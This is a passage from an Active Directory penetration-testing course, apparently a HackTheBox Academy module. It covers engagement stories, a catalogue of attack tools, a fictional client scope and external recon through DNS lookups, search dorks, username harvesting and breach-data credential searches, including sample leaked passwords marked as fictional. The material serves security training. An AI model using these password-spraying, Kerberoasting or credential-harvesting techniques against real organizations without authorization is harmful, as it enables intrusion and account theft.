1.

Active Directory Enumeration & Attacks

Introduction to Active Directory Enumeration &
Attacks

Active Directory Explained

Active Directory ( AD ) is a directory service for Windows enterprise environments that
was officially implemented in 2000 with the release of Windows Server 2000 and has been
incrementally improved upon with the release of each subsequent server OS since. AD is
based on the protocols x.500 and LDAP that came before it and still utilizes these protocols
in some form today. It is a distributed, hierarchical structure that allows for centralized
management of an organization’s resources, including users, computers, groups, network
devices and file shares, group policies, devices, and trusts. AD provides authentication,
accounting, and authorization functions within a Windows enterprise environment. If
this is your first time learning about Active Directory or hearing these terms, check out the
Intro To Active Directory module for a more in-depth look at the structure and function of AD,
AD objects, etc.

Why Should We Care About AD?

At the time of writing this module, Microsoft Active Directory holds around 43% of the market
share for enterprise organizations utilizing Identity and Access management solutions.
This is a huge portion of the market, and it isn't likely to go anywhere any time soon since
Microsoft is improving and blending implementations with Azure AD. Another interesting stat
to consider is that just in the last two years, Microsoft has had over 2000 reported
vulnerabilities tied to a CVE. AD's many services and main purpose of making information
easy to find and access make it a bit of a behemoth to manage and correctly harden. This
exposes enterprises to vulnerabilities and exploitation from simple misconfigurations of
services and permissions. Tie these misconfigurations and ease of access with common
user and OS vulnerabilities, and you have a perfect storm for an attacker to take advantage
of. With all of this in mind, this module will explore some of these common issues and show
us how to identify, enumerate, and take advantage of their existence. We will practice
enumerating AD utilizing native tools and languages such as Sysinternals , WMI , DNS ,
and many others. Some attacks we will also practice include Password spraying ,
Kerberoasting , utilizing tools such as Responder , Kerbrute , Bloodhound , and much
more.

https://t.me/offenciveSec
We may often find ourselves in a network with no clear path to a foothold through a remote
exploit such as a vulnerable application or service. Yet, we are within an Active Directory
environment, which can lead to a foothold in many ways. The general goal of gaining a
foothold in a client's AD environment is to escalate privileges by moving laterally or
vertically throughout the network until we accomplish the intent of the assessment. The goal
can vary from client to client. It may be accessing a specific host, user's email inbox,
database, or just complete domain compromise and looking for every possible path to
Domain Admin level access within the testing period. Many open-source tools are available
to facilitate enumerating and attacking Active Directory. To be most effective, we must
understand how to perform as much of this enumeration manually as possible. More
importantly, we need to understand the "why" behind certain flaws and misconfigurations.
This will make us more effective as attackers and equip us to give sound recommendations
to our clients on the major issues within their environment, as well as clear and actionable
remediation advice.

We need to be comfortable enumerating and attacking AD from both Windows and Linux,
with a limited toolset or built-in Windows tools, also known as " living off the land ." It is
common to run into situations where our tools fail, are being blocked, or we are conducting
an assessment where the client has us work from a managed workstation or VDI
instance instead of the customized Linux or Windows attack host we may have grown
accustomed to. To be effective in all situations, we must be able to adapt quickly on the fly,
understand the many nuances of AD and know how to access them even when severely
limited in our options.

Real-World Examples
Let's look at a few scenarios to see just what is possible in a real-world AD-centric
engagement:

Scenario 1 - Waiting On An Admin

During this engagement, I compromised a single host and gained SYSTEM level access.
Because this was a domain-joined host, I was able to use this access to enumerate the
domain. I went through all of the standard enumeration, but did not find much. There were
Service Principal Names (SPNs) present within the environment, and I was able to
perform a Kerberoasting attack and retrieve TGS tickets for a few accounts. I attempted to
crack these with Hashcat and some of my standard wordlists and rules, but was
unsuccessful at first. I ended up leaving a cracking job running overnight with a very large
wordlist combined with the d3ad0ne rule that ships with Hashcat. The next morning I had a
hit on one ticket and retrieved the cleartext password for a user account. This account did
not give me significant access, but it did give me write access on certain file shares. I used
this access to drop SCF files around the shares and left Responder going. After a while, I got

https://t.me/offenciveSec
a single hit, the NetNTLMv2 hash of a user. I checked through the BloodHound output and
noticed that this user was actually a domain admin! Easy day from here.

Scenario 2 - Spraying The Night Away

Password spraying can be an extremely effective way to gain a foothold in a domain, but we
must exercise great care not to lock out user accounts in the process. On one engagement, I
found an SMB NULL session using the enum4linux tool and retrieved both a listing of all
users from the domain, and the domain password policy . Knowing the password policy
was crucial because I could ensure that I was staying within the parameters to not lock out
any accounts and also knew that the policy was a minimum eight-character password and
password complexity was enforced (meaning that a user's password required 3/4 of special
character, number, uppercase, or lower case number, i.e., Welcome1). I tried several
common weak passwords such as Welcome1, Password1 , Password123, Spring2018 , etc.
but did not get any hits. Finally, I made an attempt with Spring@18 and got a hit! Using this
account, I ran BloodHound and found several hosts where this user had local admin access.
I noticed that a domain admin account had an active session on one of these hosts. I was
able to use the Rubeus tool and extract the Kerberos TGT ticket for this domain user. From
there, I was able to perform a pass-the-ticket attack and authenticate as this domain
admin user. As a bonus, I was able to take over the trusting domain as well because the
Domain Administrators group for the domain that I took over was a part of the Administrators
group in the trusting domain via nested group membership, meaning I could use the same
set of credentials to authenticate to the other domain with full administrative level access.

Scenario 3 - Fighting In The Dark

I had tried all of my standard ways to obtain a foothold on this third engagement, and nothing
had worked. I decided that I would use the Kerbrute tool to attempt to enumerate valid
usernames and then, if I found any, attempt a targeted password spraying attack since I did
not know the password policy and didn't want to lock any accounts out. I used the
linkedin2username tool to first mashup potential usernames from the company's LinkedIn
page. I combined this list with several username lists from the statistically-likely-usernames
GitHub repo and, after using the userenum feature of Kerbrute, ended up with 516 valid
users. I knew I had to tread carefully with password spraying, so I tried with the password
Welcome2021 and got a single hit! Using this account, I ran the Python version of
BloodHound from my attack host and found that all domain users had RDP access to a
single box. I logged into this host and used the PowerShell tool DomainPasswordSpray to
spray again. I was more confident this time around because I could a) view the password
policy and b) the DomainPasswordSpray tool will remove accounts close to lockout from the
target list. Being that I was authenticated within the domain, I could now spray with all

https://t.me/offenciveSec
domain users, which gave me significantly more targets. I tried again with the common
password Fall2021 and got several hits, all for users not in my initial wordlist. I checked the
rights for each of these accounts and found that one was in the Help Desk group, which had
GenericAll rights over the Enterprise Key Admins group. The Enterprise Key Admins group
had GenericAll privileges over a domain controller, so I added the account I controlled to this
group, authenticated again, and inherited these privileges. Using these rights, I performed
the Shadow Credentials attack and retrieved the NT hash for the domain controller machine
account. With this NT hash, I was then able to perform a DCSync attack and retrieve the
NTLM password hashes for all users in the domain because a domain controller can perform
replication, which is required for DCSync.

This Is The Way

These scenarios may seem overwhelming with many foreign concepts right now, but after
completing this module, you will be familiar with most of them (some concepts described in
these scenarios are outside the scope of this module). These show the importance of
iterative enumeration, understanding our target, and adapting and thinking outside the box
as we work our way through an environment. We will perform many of the parts of the attack
chains described above in these module sections, and then you'll get to put your skills to the
test by attacking two different AD environments at the end of this module and discovering
your own attack chains. Strap in because this will be a fun, but bumpy, ride through the wild
world that is enumerating and attacking Active Directory.

Practical Examples
Throughout the module, we will cover examples with accompanying command output. Most
of which can be reproduced on the target VMs that can be spawned within the relevant
sections. You will be provided RDP credentials to interact with some of the target VMs to
learn how to enumerate and attack from a Windows host ( MS01 ) and SSH access to a
preconfigured Parrot Linux host ( ATTACK01 ) to perform enumeration and attack examples
from Linux. You can connect from the Pwnbox or your own VM (after downloading a VPN
key once a machine spawns) via RDP using FreeRDP, Remmina, or the RDP client of your
choice where applicable or the SSH client built into the Pwnbox or your own VM.

Connecting via FreeRDP

We can connect via command line using the command:

https://t.me/offenciveSec
 xfreerdp /v:<MS01 target IP> /u:htb-student /p:Academy_student_AD!

Connecting via SSH

We can connect to the provided Parrot Linux attack host using the command, then enter the
provided password when prompted.

ssh htb-student@<ATTACK01 target IP>

Xfreerdp to the ATTACK01 Parrot Host

We also installed an XRDP server on the ATTACK01 host to provide GUI access to the Parrot
attack host. This can be used to interact with the BloodHound GUI tool which we will cover
later in this section. In sections where this host spawns (where you are given SSH access)
you can also connect to it using xfreerdp using the same command as you would with the
Windows attack host above:

xfreerdp /v:<ATTACK01 target IP> /u:htb-student /p:HTB_@cademy_stdnt!

Most sections will provide credentials for the htb-student user on either MS01 or
ATTACK01 . Depending on the material and challenges, some sections will have you
authenticate to a target with a different user, and alternate credentials will be provided.

Throughout the course of this module you will be presented with multiple mini Active
Directory labs. Some of these labs can take 3-5 minutes to fully spawn and be accessible via
RDP. We recommend scrolling to the end of each section, clicking to spawn the lab, and
then start reading through the material, so the environment is up by the time you reach the
interactive portions of the section.

Toolkit
We provide a Windows and Parrot Linux attack host in the accompanying lab for this
module. All tools needed to perform all examples and solve all questions throughout the
module sections are present on the hosts. The tools necessary for the Windows attack host,
MS01 are located in the C:\Tools directory. Others, such as the Active Directory
PowerShell module, will load upon opening a PowerShell console window. Tools on the
Linux attack host, ATTACK01 , are either installed and added to the htb-student users'
PATH or present in the /opt directory. You can, of course, (and it is encouraged) compile
(where needed) and upload your own tools and scripts to the attack hosts to get in the habit
https://t.me/offenciveSec
of doing so or hosting them on an SMB share from the Pwnbox working with the tools that
way. Keep in mind that when performing an actual penetration test in a client's network, it is
always best to compile the tools yourself to examine the code beforehand and ensure there
is nothing malicious hiding in the compiled executable. We don't want to bring infected tools
into a client's network and expose them to an outside attack.

Have fun, and don't forget to think outside of the box! AD is immense. You will not master it
overnight, but keep working at it, and soon the content in this module will be second nature.

-mrb3n

Tools of the Trade

Many of the module sections require tools such as open-source scripts or precompiled
binaries. These can be found in the C:\Tools directory on the Windows hosts provided in
the sections aimed at attacking from Windows. In sections that focus on attacking AD from
Linux, we provide a Parrot Linux host customized for the target environment as if you were
an anonymous user with an attack host within the internal network. All necessary tools and
scripts are preloaded on this host (either installed or in the /opt directory). Here is a listing
of many of the tools that we will cover in this module:

Tool Description
PowerView/ SharpView A PowerShell tool and a .NET port of the same used to
gain situational awareness in AD. These tools can be used
as replacements for various Windows net* commands
and more. PowerView and SharpView can help us gather
much of the data that BloodHound does, but it requires
more work to make meaningful relationships among all of
the data points. These tools are great for checking what
additional access we may have with a new set of
credentials, targeting specific users or computers, or
finding some "quick wins" such as users that can be
attacked via Kerberoasting or ASREPRoasting.
BloodHound Used to visually map out AD relationships and help plan
attack paths that may otherwise go unnoticed. Uses the
SharpHound PowerShell or C# ingestor to gather data to
later be imported into the BloodHound JavaScript
(Electron) application with a Neo4j database for graphical
analysis of the AD environment.

https://t.me/offenciveSec
Tool Description
SharpHound The C# data collector to gather information from Active
Directory about varying AD objects such as users, groups,
computers, ACLs, GPOs, user and computer attributes,
user sessions, and more. The tool produces JSON files
which can then be ingested into the BloodHound GUI tool
for analysis.
BloodHound.py A Python-based BloodHound ingestor based on the
Impacket toolkit. It supports most BloodHound collection
methods and can be run from a non-domain joined attack
host. The output can be ingested into the BloodHound GUI
for analysis.
Kerbrute A tool written in Go that uses Kerberos Pre-Authentication
to enumerate Active Directory accounts, perform password
spraying, and brute-forcing.
Impacket toolkit A collection of tools written in Python for interacting with
network protocols. The suite of tools contains various
scripts for enumerating and attacking Active Directory.
Responder Responder is a purpose-built tool to poison LLMNR, NBT-
NS, and MDNS, with many different functions.
Inveigh.ps1 Similar to Responder, a PowerShell tool for performing
various network spoofing and poisoning attacks.
C# Inveigh (InveighZero) The C# version of Inveigh with a semi-interactive console
for interacting with captured data such as username and
password hashes.
rpcinfo The rpcinfo utility is used to query the status of an RPC
program or enumerate the list of available RPC services on
a remote host. The "-p" option is used to specify the target
host. For example the command "rpcinfo -p 10.0.0.1" will
return a list of all the RPC services available on the remote
host, along with their program number, version number,
and protocol. Note that this command must be run with
sufficient privileges.
rpcclient A part of the Samba suite on Linux distributions that can be
used to perform a variety of Active Directory enumeration
tasks via the remote RPC service.
CrackMapExec (CME) CME is an enumeration, attack, and post-exploitation
toolkit which can help us greatly in enumeration and
performing attacks with the data we gather. CME attempts
to "live off the land" and abuse built-in AD features and
protocols like SMB, WMI, WinRM, and MSSQL.
Rubeus Rubeus is a C# tool built for Kerberos Abuse.
GetUserSPNs.py Another Impacket module geared towards finding Service
Principal names tied to normal users.

https://t.me/offenciveSec
Tool Description
Hashcat A great hash cracking and password recovery tool.
enum4linux A tool for enumerating information from Windows and
Samba systems.
enum4linux-ng A rework of the original Enum4linux tool that works a bit
differently.
ldapsearch Built-in interface for interacting with the LDAP protocol.
windapsearch A Python script used to enumerate AD users, groups, and
computers using LDAP queries. Useful for automating
custom LDAP queries.
DomainPasswordSpray.ps1 DomainPasswordSpray is a tool written in PowerShell to
perform a password spray attack against users of a domain.
LAPSToolkit The toolkit includes functions written in PowerShell that
leverage PowerView to audit and attack Active Directory
environments that have deployed Microsoft's Local
Administrator Password Solution (LAPS).
smbmap SMB share enumeration across a domain.
psexec.py Part of the Impacket toolkit, it provides us with Psexec-like
functionality in the form of a semi-interactive shell.
wmiexec.py Part of the Impacket toolkit, it provides the capability of
command execution over WMI.
Snaffler Useful for finding information (such as credentials) in Active
Directory on computers with accessible file shares.
smbserver.py Simple SMB server execution for interaction with Windows
hosts. Easy way to transfer files within a network.
setspn.exe Adds, reads, modifies and deletes the Service Principal
Names (SPN) directory property for an Active Directory
service account.
Mimikatz Performs many functions. Notably, pass-the-hash attacks,
extracting plaintext passwords, and Kerberos ticket
extraction from memory on a host.
secretsdump.py Remotely dump SAM and LSA secrets from a host.
evil-winrm Provides us with an interactive shell on a host over the
WinRM protocol.
mssqlclient.py Part of the Impacket toolkit, it provides the ability to interact
with MSSQL databases.
noPac.py Exploit combo using CVE-2021-42278 and CVE-2021-
42287 to impersonate DA from standard domain user.
rpcdump.py Part of the Impacket toolset, RPC endpoint mapper.
CVE-2021-1675.py Printnightmare PoC in python.

https://t.me/offenciveSec
Tool Description
ntlmrelayx.py Part of the Impacket toolset, it performs SMB relay attacks.
PetitPotam.py PoC tool for CVE-2021-36942 to coerce Windows hosts to
authenticate to other machines via MS-EFSRPC
EfsRpcOpenFileRaw or other functions.
gettgtpkinit.py Tool for manipulating certificates and TGTs.
getnthash.py This tool will use an existing TGT to request a PAC for the
current user using U2U.
adidnsdump A tool for enumerating and dumping DNS records from a
domain. Similar to performing a DNS Zone transfer.
gpp-decrypt Extracts usernames and passwords from Group Policy
preferences files.
GetNPUsers.py Part of the Impacket toolkit. Used to perform the
ASREPRoasting attack to list and obtain AS-REP hashes
for users with the 'Do not require Kerberos
preauthentication' set. These hashes are then fed into a
tool such as Hashcat for attempts at offline password
cracking.
lookupsid.py SID bruteforcing tool.
ticketer.py A tool for creation and customization of TGT/TGS tickets. It
can be used for Golden Ticket creation, child to parent trust
attacks, etc.
raiseChild.py Part of the Impacket toolkit, It is a tool for automated child
to parent domain privilege escalation.
Active Directory Explorer Active Directory Explorer (AD Explorer) is an AD viewer
and editor. It can be used to navigate an AD database and
view object properties and attributes. It can also be used to
save a snapshot of an AD database for offline analysis.
When an AD snapshot is loaded, it can be explored as a
live version of the database. It can also be used to
compare two AD database snapshots to see changes in
objects, attributes, and security permissions.
PingCastle Used for auditing the security level of an AD environment
based on a risk assessment and maturity framework
(based on CMMI adapted to AD security).
Group3r Group3r is useful for auditing and finding security
misconfigurations in AD Group Policy Objects (GPO).
ADRecon A tool used to extract various data from a target AD
environment. The data can be output in Microsoft Excel
format with summary views and analysis to assist with
analysis and paint a picture of the environment's overall
security state.

https://t.me/offenciveSec
Scenario

We are Penetration Testers working for CAT-5 Security . After a few successful
engagements shadowing with the team, the more senior members want to see how well we
can do starting an assessment on our own. The team lead sent us the following email
detailing what we need to accomplish.

Tasking Email

This module will allow us to practice our skills (both prior and newly minted) with these tasks.
The final assessment for this module is the execution of two internal penetration tests
against the company Inlanefreight. During these assessments, we will work through an
internal penetration test simulating starting from an external breach position and a second
one beginning with an attack box inside the internal network as clients often request.
Completing the skills assessments signifies the successful completion of the tasks
mentioned in the scoping document and tasking email above. In doing so, we will
demonstrate a firm grasp of many automated and manual AD attack and enumeration
concepts, knowledge of and experience with a wide array of tools, and the ability to interpret
data gathered from an AD environment to make critical decisions to advance the
assessment. The content in this module is meant to cover core enumeration concepts
necessary for anyone to be successful in performing internal penetration tests in Active
Directory environments. We will also cover many of the most common attack techniques in
great depth while working through some more advanced concepts as a primer for AD-
focused material that will be covered in more advanced modules.

Below you will find a completed scoping document for the engagement containing all
pertinent information provided by the customer.

https://t.me/offenciveSec
Assessment Scope
The following IPs , hosts , and domains defined below make up the scope of the
assessment.

In Scope For Assessment

Range/Domain Description
INLANEFREIGHT.LOCAL Customer domain to include AD and web services.
LOGISTICS.INLANEFREIGHT.LOCAL Customer subdomain
FREIGHTLOGISTICS.LOCAL Subsidiary company owned by Inlanefreight.
External forest trust with INLANEFREIGHT.LOCAL
172.16.5.0/23 In-scope internal subnet.

Out Of Scope

Any other subdomains of INLANEFREIGHT.LOCAL

Any subdomains of FREIGHTLOGISTICS.LOCAL
Any phishing or social engineering attacks
Any other IPS/domains/subdomains not explicitly mentioned
Any types of attacks against the real-world inlanefreight.com website
outside of passive enumeration shown in this module

Methods Used
The following methods are authorized for assessing Inlanefreight and its systems :

External Information Gathering (Passive Checks)

External information gathering is authorized to demonstrate the risks associated with
information that can be gathered about the company from the internet. To simulate a real-
world attack, CAT-5 and its assessors will conduct external information gathering from an
anonymous perspective on the internet with no information provided in advance regarding
Inlanefreight outside of what is provided within this document.

Cat-5 will perform passive enumeration to uncover information that may help with internal
testing. Testing will employ various degrees of information gathering from open-source
resources to identify publicly accessible data that may pose a risk to Inlanefreight and assist
with the internal penetration test. No active enumeration, port scans, or attacks will be

https://t.me/offenciveSec
performed against internet-facing "real-world" IP addresses or the website located at
https://www.inlanefreight.com .

Internal Testing
The internal assessment portion is designed to demonstrate the risks associated with
vulnerabilities on internal hosts and services ( Active Directory specifically ) by
attempting to emulate attack vectors from within Inlanefreight's area of operations. The result
will allow Inlanefreight to assess the risks of internal vulnerabilities and the potential impact
of a successfully exploited vulnerability.

To simulate a real-world attack, Cat-5 will conduct the assessment from an untrusted insider
perspective with no advance information outside of what's provided in this documentation
and discovered from external testing. Testing will start from an anonymous position on the
internal network with the goal of obtaining domain user credentials, enumerating the internal
domain, gaining a foothold, and moving laterally and vertically to achieve compromise of all
in-scope internal domains. Computer systems and network operations will not be
intentionally interrupted during the test.

Password Testing
Password files captured from Inlanefreight devices, or provided by the organization, may be
loaded onto offline workstations for decryption and utilized to gain further access and
accomplish the assessment goals. At no time will a captured password file or the decrypted
passwords be revealed to persons not officially participating in the assessment. All data will
be stored securely on Cat-5 owned and approved systems and retained for a period of time
defined in the official contract between Cat-5 and Inlanefreight.

We provided the above scoping documentation so we become used to seeing this style of
documentation. As we progress through our Infosec Careers, especially on the offensive
side, it will be common to receive scoping documents and Rules of Engagement (RoE)
documents that outline these types of information.

The Stage Is Set

Now that we have our scope clearly defined for this module, we can dive into exploring
Active Directory enumeration and attack vectors. Now, let's dive into performing passive
external enumeration against Inlanefreight.

External Recon and Enumeration Principles

https://t.me/offenciveSec
Before kicking off any pentest, it can be beneficial to perform external reconnaissance of
your target. This can serve many different functions, such as:

Validating information provided to you in the scoping document from the client
Ensuring you are taking actions against the appropriate scope when working remotely
Looking for any information that is publicly accessible that can affect the outcome of
your test, such as leaked credentials

Think of it like this; we are trying to get the lay of the land to ensure we provide the most
comprehensive test possible for our customer. That also means identifying any potential
information leaks and breach data out in the world. This can be as simple as gleaning a
username format from the customer's main website or social media. We may also dive as
deep as scanning GitHub repositories for credentials left in code pushes, hunting in
documents for links to an intranet or remotely accessible sites, and just looking for any
information that can key us in on how the enterprise environment is configured.

What Are We Looking For?

When conducting our external reconnaissance, there are several key items that we should
be looking for. This information may not always be publicly accessible, but it would be
prudent to see what is out there. If we get stuck during a penetration test, looking back at
what could be obtained through passive recon can give us that nudge needed to move
forward, such as password breach data that could be used to access a VPN or other
externally facing service. The table below highlights the " What " in what we would be
searching for during this phase of our engagement.

Data Point Description

IP Space Valid ASN for our target, netblocks in use for the organization's public-
facing infrastructure, cloud presence and the hosting providers, DNS
record entries, etc.
Domain Based on IP data, DNS, and site registrations. Who administers the
Information domain? Are there any subdomains tied to our target? Are there any
publicly accessible domain services present? (Mailservers, DNS,
Websites, VPN portals, etc.) Can we determine what kind of defenses
are in place? (SIEM, AV, IPS/IDS in use, etc.)
Schema Can we discover the organization's email accounts, AD usernames, and
Format even password policies? Anything that will give us information we can
use to build a valid username list to test external-facing services for
password spraying, credential stuffing, brute forcing, etc.

https://t.me/offenciveSec
 Data Point Description
Data For data disclosures we will be looking for publicly accessible files (
Disclosures .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on
the target. For example, any published files that contain intranet site
listings, user metadata, shares, or other critical software or hardware in
the environment (credentials pushed to a public GitHub repo, the
internal AD username format in the metadata of a PDF, for example.)
Breach Data Any publicly released usernames, passwords, or other critical
information that can help an attacker gain a foothold.

We have addressed the why and what of external reconnaissance; let's dive into the
where and how .

Where Are We Looking?

Our list of data points above can be gathered in many different ways. There are many
different websites and tools that can provide us with some or all of the information above that
we could use to obtain information vital to our assessment. The table below lists a few
potential resources and examples that can be used.

Resource Examples
ASN / IP IANA, arin for searching the Americas, RIPE for searching in Europe,
registrars BGP Toolkit
Domain Domaintools, PTRArchive, ICANN, manual DNS record requests
Registrars & against the domain in question or against well known DNS servers,
DNS such as 8.8.8.8 .
Social Media Searching Linkedin, Twitter, Facebook, your region's major social
media sites, news articles, and any relevant info you can find about
the organization.
Public-Facing Often, the public website for a corporation will have relevant info
Company embedded. News articles, embedded documents, and the "About Us"
Websites and "Contact Us" pages can also be gold mines.
Cloud & Dev GitHub, AWS S3 buckets & Azure Blog storage containers, Google
Storage searches using "Dorks"
Spaces

Breach Data HaveIBeenPwned to determine if any corporate email accounts

Sources appear in public breach data, Dehashed to search for corporate
emails with cleartext passwords or hashes we can try to crack offline.
We can then try these passwords against any exposed login portals
(Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom
applications, etc.) that may use AD authentication.

https://t.me/offenciveSec
Finding Address Spaces

The BGP-Toolkit hosted by Hurricane Electric is a fantastic resource for researching what
address blocks are assigned to an organization and what ASN they reside within. Just punch
in a domain or IP address, and the toolkit will search for any results it can. We can glean a
lot from this info. Many large corporations will often self-host their infrastructure, and since
they have such a large footprint, they will have their own ASN. This will typically not be the
case for smaller organizations or fledgling companies. As you research, keep this in mind
since smaller organizations will often host their websites and other infrastructure in someone
else's space (Cloudflare, Google Cloud, AWS, or Azure, for example). Understanding where
that infrastructure resides is extremely important for our testing. We have to ensure we are
not interacting with infrastructure out of our scope. If we are not careful while pentesting
against a smaller organization, we could end up inadvertently causing harm to another
organization sharing that infrastructure. You have an agreement to test with the customer,
not with others on the same server or with the provider. Questions around self-hosted or 3rd
party managed infrastructure should be handled during the scoping process and be clearly
listed in any scoping documents you receive.

In some cases, your client may need to get written approval from a third-party hosting
provider before you can test. Others, such as AWS, have specific guidelines for performing
penetration tests and do not require prior approval for testing some of their services. Others,
such as Oracle, ask you to submit a Cloud Security Testing Notification. These types of steps
should be handled by your company management, legal team, contracts team, etc. If you
are in doubt, escalate before attacking any external-facing services you are unsure of during
an assessment. It is our responsibility to ensure that we have explicit permission to attack
any hosts (both internal and external), and stopping and clarifying the scope in writing never
hurts.

DNS

https://t.me/offenciveSec
DNS is a great way to validate our scope and find out about reachable hosts the customer
did not disclose in their scoping document. Sites like domaintools, and viewdns.info are
great spots to start. We can get back many records and other data ranging from DNS
resolution to testing for DNSSEC and if the site is accessible in more restricted countries.
Sometimes we may find additional hosts out of scope, but look interesting. In that case, we
could bring this list to our client to see if any of them should indeed be included in the scope.
We may also find interesting subdomains that were not listed in the scoping documents, but
reside on in-scope IP addresses and therefore are fair game.

Viewdns.info

This is also a great way to validate some of the data found from our IP/ASN searches. Not
all information about the domain found will be current, and running checks that can validate
what we see is always good practice.

Public Data
Social media can be a treasure trove of interesting data that can clue us in to how the
organization is structured, what kind of equipment they operate, potential software and
security implementations, their schema, and more. On top of that list are job-related sites like
LinkedIn, Indeed.com, and Glassdoor. Simple job postings often reveal a lot about a
company. For example, take a look at the job listing below. It's for a SharePoint
Administrator and can key us in on many things. We can tell from the listing that the
company has been using SharePoint for a while and has a mature program since they are
talking about security programs, backup & disaster recovery, and more. What is interesting
to us in this posting is that we can see the company likely uses SharePoint 2013 and
SharePoint 2016. That means they may have upgraded in place, potentially leaving

https://t.me/offenciveSec
vulnerabilities in play that may not exist in newer versions. This also means we may run into
different versions of SharePoint during our engagements.

Sharepoint Admin Job Listing

Don't discount public information such as job postings or social media. You can learn a lot
about an organization just from what they post, and a well-intentioned post could disclose
data relevant to us as penetration testers.

Websites hosted by the organization are also great places to dig for information. We can
gather contact emails, phone numbers, organizational charts, published documents, etc.
These sites, specifically the embedded documents, can often have links to internal
infrastructure or intranet sites that you would not otherwise know about. Checking any
publicly accessible information for those types of details can be quick wins when trying to
formulate a picture of the domain structure. With the growing use of sites such as GitHub,
AWS cloud storage, and other web-hosted platforms, data can also be leaked
unintentionally. For example, a dev working on a project may accidentally leave some
credentials or notes hardcoded into a code release. If you know where to look for that data, it
can give you an easy win. It could mean the difference between having to password spray
and brute-force credentials for hours or days or gaining a quick foothold with developer
credentials, which may also have elevated permissions. Tools like Trufflehog and sites like
Greyhat Warfare are fantastic resources for finding these breadcrumbs.

We have spent some time discussing external enumeration and recon of an organization, but
this is just one piece of the puzzle. For a more detailed introduction to OSINT and external
enumeration, check out the Footprinting and OSINT:Corporate Recon modules.

Up to this point, we have been mostly passive in our discussions. As you move forward into
the pentest, you will become more hands-on, validating the information you have found and
probing the domain for more information. Let's take a minute to discuss enumeration
principles and how we can put a process in place to perform these actions.

https://t.me/offenciveSec
Overarching Enumeration Principles
Keeping in mind that our goal is to understand our target better, we are looking for every
possible avenue we can find that will provide us with a potential route to the inside.
Enumeration itself is an iterative process we will repeat several times throughout a
penetration test. Besides the customer's scoping document, this is our primary source of
information, so we want to ensure we are leaving no stone unturned. When starting our
enumeration, we will first use passive resources, starting wide in scope and narrowing
down. Once we exhaust our initial run of passive enumeration, we will need to examine the
results and then move into our active enumeration phase.

Example Enumeration Process

We have already covered quite a few concepts pertaining to enumeration. Let's start putting
it all together. We will practice our enumeration tactics on the inlanefreight.com domain
without performing any heavy scans (such as Nmap or vulnerability scans which are out of
scope). We will start first by checking our Netblocks data and seeing what we can find.

Check for ASN/IP & Domain Data

From this first look, we have already gleaned some interesting info. BGP.he is reporting:

IP Address: 134.209.24.248
Mail Server: mail1.inlanefreight.com
Nameservers: NS1.inlanefreight.com & NS2.inlanefreight.com
https://t.me/offenciveSec
For now, this is what we care about from its output. Inlanefreight is not a large corporation,
so we didn't expect to find that it had its own ASN. Now let's validate some of this
information.

Viewdns Results

In the request above, we utilized viewdns.info to validate the IP address of our target.
Both results match, which is a good sign. Now let's try another route to validate the two
nameservers in our results.

nslookup ns1.inlanefreight.com

Server: 192.168.186.1
Address: 192.168.186.1#53

Non-authoritative answer:
Name: ns1.inlanefreight.com
Address: 178.128.39.165

nslookup ns2.inlanefreight.com
Server: 192.168.86.1
Address: 192.168.86.1#53

Non-authoritative answer:
Name: ns2.inlanefreight.com
Address: 206.189.119.186

We now have two new IP addresses to add to our list for validation and testing. Before
taking any further action with them, ensure they are in-scope for your test. For our purposes,
the actual IP addresses would not be in scope for scanning, but we could passively browse
any websites to hunt for interesting data. For now, that is it with enumerating domain
information from DNS. Let's take a look at the publicly available information.

https://t.me/offenciveSec
Inlanefreight is a fictitious company that we are using for this module, so there is no real
social media presence. However, we would check sites like LinkedIn, Twitter, Instagram, and
Facebook for helpful info if it were real. Instead, we will move on to examining the website
inlanefreight.com .

The first check we ran was looking for any documents. Using filetype:pdf
inurl:inlanefreight.com as a search, we are looking for PDFs.

Hunting For Files

One document popped up, so we need to ensure we note the document and its location and
download a copy locally to dig through. It is always best to save files, screenshots, scan
output, tool output, etc., as soon as we come across them or generate them. This helps us
keep as comprehensive a record as possible and not risk forgetting where we saw
something or losing critical data. Next, let's look for any email addresses we can find.

Hunting E-mail Addresses

https://t.me/offenciveSec
Using the dork intext:"@inlanefreight.com" inurl:inlanefreight.com , we are looking
for any instance that appears similar to the end of an email address on the website. One
promising result came up with a contact page. When we look at the page (pictured below),
we can see a large list of employees and contact info for them. This information can be
helpful since we can determine that these people are at least most likely active and still
working with the company.

E-mail Dork Results

Browsing the contact page, we can see several emails for staff in different offices around the
globe. We now have an idea of their email naming convention (first.last) and where some
people work in the organization. This could be handy in later password spraying attacks or if
social engineering/phishing were part of our engagement scope.

Username Harvesting
We can use a tool such as linkedin2username to scrape data from a company's LinkedIn
page and create various mashups of usernames (flast, first.last, f.last, etc.) that can be
added to our list of potential password spraying targets.

Credential Hunting
Dehashed is an excellent tool for hunting for cleartext credentials and password hashes in
breach data. We can search either on the site or using a script that performs queries via the
API. Typically we will find many old passwords for users that do not work on externally-facing
portals that use AD auth (or internal), but we may get lucky! This is another tool that can be
useful for creating a user list for external or internal password spraying.

Note: For our purposes, the sample data below is fictional.

https://t.me/offenciveSec
 sudo python3 dehashed.py -q inlanefreight.local -p

id : 5996447501
email : [email protected]
username : rgrimes
password : Ilovefishing!
hashed_password :
name : Roger Grimes
vin :
address :
phone :
database_name : ModBSolutions

id : 7344467234
email : [email protected]
username : jyu
password : Starlight1982_!
hashed_password :
name : Jane Yu
vin :
address :
phone :
database_name : MyFitnessPal

<SNIP>

Now that we have a hang of this try your hand at searching for other results related to the
inlanefreight.com domain. What can you find? Are there any other useful files, pages, or
information embedded on the site? This section demonstrated the importance of thoroughly
analyzing our target, provided that we stay in scope and do not test anything we are not
authorized to and stay within the time constraints of the engagement. I have had quite a few
assessments where I was having trouble gaining a foothold from an anonymous standpoint
on the internal network and resorted to creating a wordlist using varying outside sources
(Google, LinkedIn scraping, Dehashed, etc.) and then performed targeted internal password
spraying to get valid credentials for a standard domain user account. As we will see in the
